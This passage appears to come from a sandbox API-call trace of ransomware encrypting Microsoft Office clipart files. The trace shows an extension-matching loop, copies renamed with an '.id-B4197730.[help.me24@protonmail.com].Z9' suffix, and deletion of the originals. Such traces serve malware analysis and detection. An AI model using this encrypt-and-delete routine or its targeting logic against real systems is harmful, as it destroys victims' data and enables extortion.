	[0095.158] lstrlenW (lpString=".1cd") returned 4
	[0095.158] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0095.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68
	[0095.158] lstrlenW (lpString=".jpg") returned 4
	[0095.158] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0095.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68
	[0095.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68
	[0095.158] lstrlenW (lpString=".doc") returned 4
	[0095.158] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0095.158] lstrlenW (lpString=".docx") returned 5
	[0095.158] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0095.158] lstrlenW (lpString=".pdf") returned 4
	[0095.158] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0095.158] lstrlenW (lpString=".xls") returned 4
	[0095.158] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0095.158] lstrlenW (lpString=".xlsx") returned 5
	[0095.158] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0095.158] lstrlenW (lpString=".ppt") returned 4
	[0095.158] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0095.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68
	[0095.158] lstrlenW (lpString=".zip") returned 4
	[0095.158] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0095.158] lstrlenW (lpString=".rar") returned 4
	[0095.159] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0095.159] lstrlenW (lpString=".bz2") returned 4
	[0095.159] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0095.159] lstrlenW (lpString=".7z") returned 3
	[0095.159] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0095.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68
	[0095.159] lstrlenW (lpString=".dbf") returned 4
	[0095.159] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0095.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68
	[0095.159] lstrlenW (lpString=".1cd") returned 4
	[0095.159] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0095.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68
	[0095.159] lstrlenW (lpString=".jpg") returned 4
	[0095.159] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0095.159] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0095.159] lstrlenW (lpString="HH02312_.WMF") returned 12
	[0095.159] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02312_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0095.159] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=4970) returned 1
	[0095.159] CloseHandle (hObject=0x300) returned 1
	[0095.159] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02312_.wmf")) returned 0x220
	[0095.160] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02312_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0095.160] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02312_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0095.160] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.160] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.160] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02312_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0095.160] GetLastError () returned 0x0
	[0095.160] ReadFile (in: hFile=0x300, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x136a, lpOverlapped=0x0) returned 1
	[0095.162] WriteFile (in: hFile=0x394, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0x1370, lpOverlapped=0x0) returned 1
	[0095.163] ReadFile (in: hFile=0x300, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0095.163] WriteFile (in: hFile=0x394, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xec, lpOverlapped=0x0) returned 1
	[0095.163] SetEndOfFile (hFile=0x394) returned 1
	[0095.163] CloseHandle (hObject=0x394) returned 1
	[0095.163] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.163] SetEndOfFile (hFile=0x300) returned 1
	[0095.164] CloseHandle (hObject=0x300) returned 1
	[0095.164] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0095.164] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02312_.wmf")) returned 1
	[0095.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68
	[0095.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68
	[0095.165] lstrlenW (lpString=".doc") returned 4
	[0095.165] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0095.165] lstrlenW (lpString=".docx") returned 5
	[0095.165] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0095.165] lstrlenW (lpString=".pdf") returned 4
	[0095.165] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0095.165] lstrlenW (lpString=".xls") returned 4
	[0095.165] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0095.165] lstrlenW (lpString=".xlsx") returned 5
	[0095.165] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0095.165] lstrlenW (lpString=".ppt") returned 4
	[0095.165] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0095.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68
	[0095.165] lstrlenW (lpString=".zip") returned 4
	[0095.165] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0095.165] lstrlenW (lpString=".rar") returned 4
	[0095.165] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0095.165] lstrlenW (lpString=".bz2") returned 4
	[0095.165] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0095.165] lstrlenW (lpString=".7z") returned 3
	[0095.165] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0095.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68
	[0095.165] lstrlenW (lpString=".dbf") returned 4
	[0095.165] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0095.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68
	[0095.165] lstrlenW (lpString=".1cd") returned 4
	[0095.165] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0095.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68
	[0095.165] lstrlenW (lpString=".jpg") returned 4
	[0095.165] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0095.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68
	[0095.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68
	[0095.165] lstrlenW (lpString=".doc") returned 4
	[0095.165] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0095.165] lstrlenW (lpString=".docx") returned 5
	[0095.166] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0095.166] lstrlenW (lpString=".pdf") returned 4
	[0095.166] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0095.166] lstrlenW (lpString=".xls") returned 4
	[0095.166] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0095.166] lstrlenW (lpString=".xlsx") returned 5
	[0095.166] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0095.166] lstrlenW (lpString=".ppt") returned 4
	[0095.166] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0095.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68
	[0095.166] lstrlenW (lpString=".zip") returned 4
	[0095.166] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0095.166] lstrlenW (lpString=".rar") returned 4
	[0095.166] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0095.166] lstrlenW (lpString=".bz2") returned 4
	[0095.166] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0095.166] lstrlenW (lpString=".7z") returned 3
	[0095.166] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0095.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68
	[0095.166] lstrlenW (lpString=".dbf") returned 4
	[0095.166] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0095.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68
	[0095.166] lstrlenW (lpString=".1cd") returned 4
	[0095.166] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0095.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68
	[0095.166] lstrlenW (lpString=".jpg") returned 4
	[0095.166] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0095.166] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0095.166] lstrlenW (lpString="HH02313_.WMF") returned 12
	[0095.166] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02313_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0095.167] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=3082) returned 1
	[0095.167] CloseHandle (hObject=0x300) returned 1
	[0095.167] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02313_.wmf")) returned 0x220
	[0095.167] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02313_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0095.167] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02313_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0095.167] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.167] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.167] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02313_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0095.167] GetLastError () returned 0x0
	[0095.168] ReadFile (in: hFile=0x300, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0xc0a, lpOverlapped=0x0) returned 1
	[0095.169] WriteFile (in: hFile=0x394, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xc10, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xc10, lpOverlapped=0x0) returned 1
	[0095.170] ReadFile (in: hFile=0x300, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0095.170] WriteFile (in: hFile=0x394, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xec, lpOverlapped=0x0) returned 1
	[0095.170] SetEndOfFile (hFile=0x394) returned 1
	[0095.170] CloseHandle (hObject=0x394) returned 1
	[0095.170] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.170] SetEndOfFile (hFile=0x300) returned 1
	[0095.171] CloseHandle (hObject=0x300) returned 1
	[0095.171] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0095.172] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02313_.wmf")) returned 1
	[0095.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68
	[0095.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68
	[0095.172] lstrlenW (lpString=".doc") returned 4
	[0095.172] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0095.172] lstrlenW (lpString=".docx") returned 5
	[0095.172] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0095.172] lstrlenW (lpString=".pdf") returned 4
	[0095.172] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0095.172] lstrlenW (lpString=".xls") returned 4
	[0095.172] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0095.172] lstrlenW (lpString=".xlsx") returned 5
	[0095.172] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0095.172] lstrlenW (lpString=".ppt") returned 4
	[0095.172] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0095.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68
	[0095.172] lstrlenW (lpString=".zip") returned 4
	[0095.172] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0095.172] lstrlenW (lpString=".rar") returned 4
	[0095.172] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0095.172] lstrlenW (lpString=".bz2") returned 4
	[0095.172] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0095.172] lstrlenW (lpString=".7z") returned 3
	[0095.172] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0095.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68
	[0095.172] lstrlenW (lpString=".dbf") returned 4
	[0095.173] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0095.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68
	[0095.173] lstrlenW (lpString=".1cd") returned 4
	[0095.173] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0095.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68
	[0095.173] lstrlenW (lpString=".jpg") returned 4
	[0095.173] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0095.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68
	[0095.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68
	[0095.173] lstrlenW (lpString=".doc") returned 4
	[0095.173] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0095.173] lstrlenW (lpString=".docx") returned 5
	[0095.173] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0095.173] lstrlenW (lpString=".pdf") returned 4
	[0095.173] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0095.173] lstrlenW (lpString=".xls") returned 4
	[0095.173] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0095.173] lstrlenW (lpString=".xlsx") returned 5
	[0095.173] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0095.173] lstrlenW (lpString=".ppt") returned 4
	[0095.173] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0095.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68
	[0095.173] lstrlenW (lpString=".zip") returned 4
	[0095.173] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0095.173] lstrlenW (lpString=".rar") returned 4
	[0095.173] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0095.173] lstrlenW (lpString=".bz2") returned 4
	[0095.173] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0095.173] lstrlenW (lpString=".7z") returned 3
	[0095.173] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0095.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68
	[0095.173] lstrlenW (lpString=".dbf") returned 4
	[0095.173] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0095.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68
	[0095.173] lstrlenW (lpString=".1cd") returned 4
	[0095.173] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0095.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68
	[0095.174] lstrlenW (lpString=".jpg") returned 4
	[0095.174] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0095.174] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0095.174] lstrlenW (lpString="HM00005_.WMF") returned 12
	[0095.174] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00005_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0095.174] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=23300) returned 1
	[0095.174] CloseHandle (hObject=0x300) returned 1
	[0095.174] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00005_.wmf")) returned 0x220
	[0095.174] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00005_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0095.174] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00005_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0095.174] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.174] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.175] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00005_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0095.175] GetLastError () returned 0x0
	[0095.175] ReadFile (in: hFile=0x300, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x5b04, lpOverlapped=0x0) returned 1
	[0095.177] WriteFile (in: hFile=0x394, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0x5b10, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0x5b10, lpOverlapped=0x0) returned 1
	[0095.178] ReadFile (in: hFile=0x300, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0095.178] WriteFile (in: hFile=0x394, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xec, lpOverlapped=0x0) returned 1
	[0095.178] SetEndOfFile (hFile=0x394) returned 1
	[0095.178] CloseHandle (hObject=0x394) returned 1
	[0095.178] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.178] SetEndOfFile (hFile=0x300) returned 1
	[0095.179] CloseHandle (hObject=0x300) returned 1
	[0095.179] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0095.179] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00005_.wmf")) returned 1
	[0095.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68
	[0095.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68
	[0095.179] lstrlenW (lpString=".doc") returned 4
	[0095.180] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0095.180] lstrlenW (lpString=".docx") returned 5
	[0095.180] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0095.180] lstrlenW (lpString=".pdf") returned 4
	[0095.180] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0095.180] lstrlenW (lpString=".xls") returned 4
	[0095.180] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0095.180] lstrlenW (lpString=".xlsx") returned 5
	[0095.180] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0095.180] lstrlenW (lpString=".ppt") returned 4
	[0095.180] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0095.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68
	[0095.180] lstrlenW (lpString=".zip") returned 4
	[0095.180] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0095.180] lstrlenW (lpString=".rar") returned 4
	[0095.180] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0095.180] lstrlenW (lpString=".bz2") returned 4
	[0095.180] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0095.180] lstrlenW (lpString=".7z") returned 3
	[0095.180] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0095.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68
	[0095.180] lstrlenW (lpString=".dbf") returned 4
	[0095.180] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0095.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68
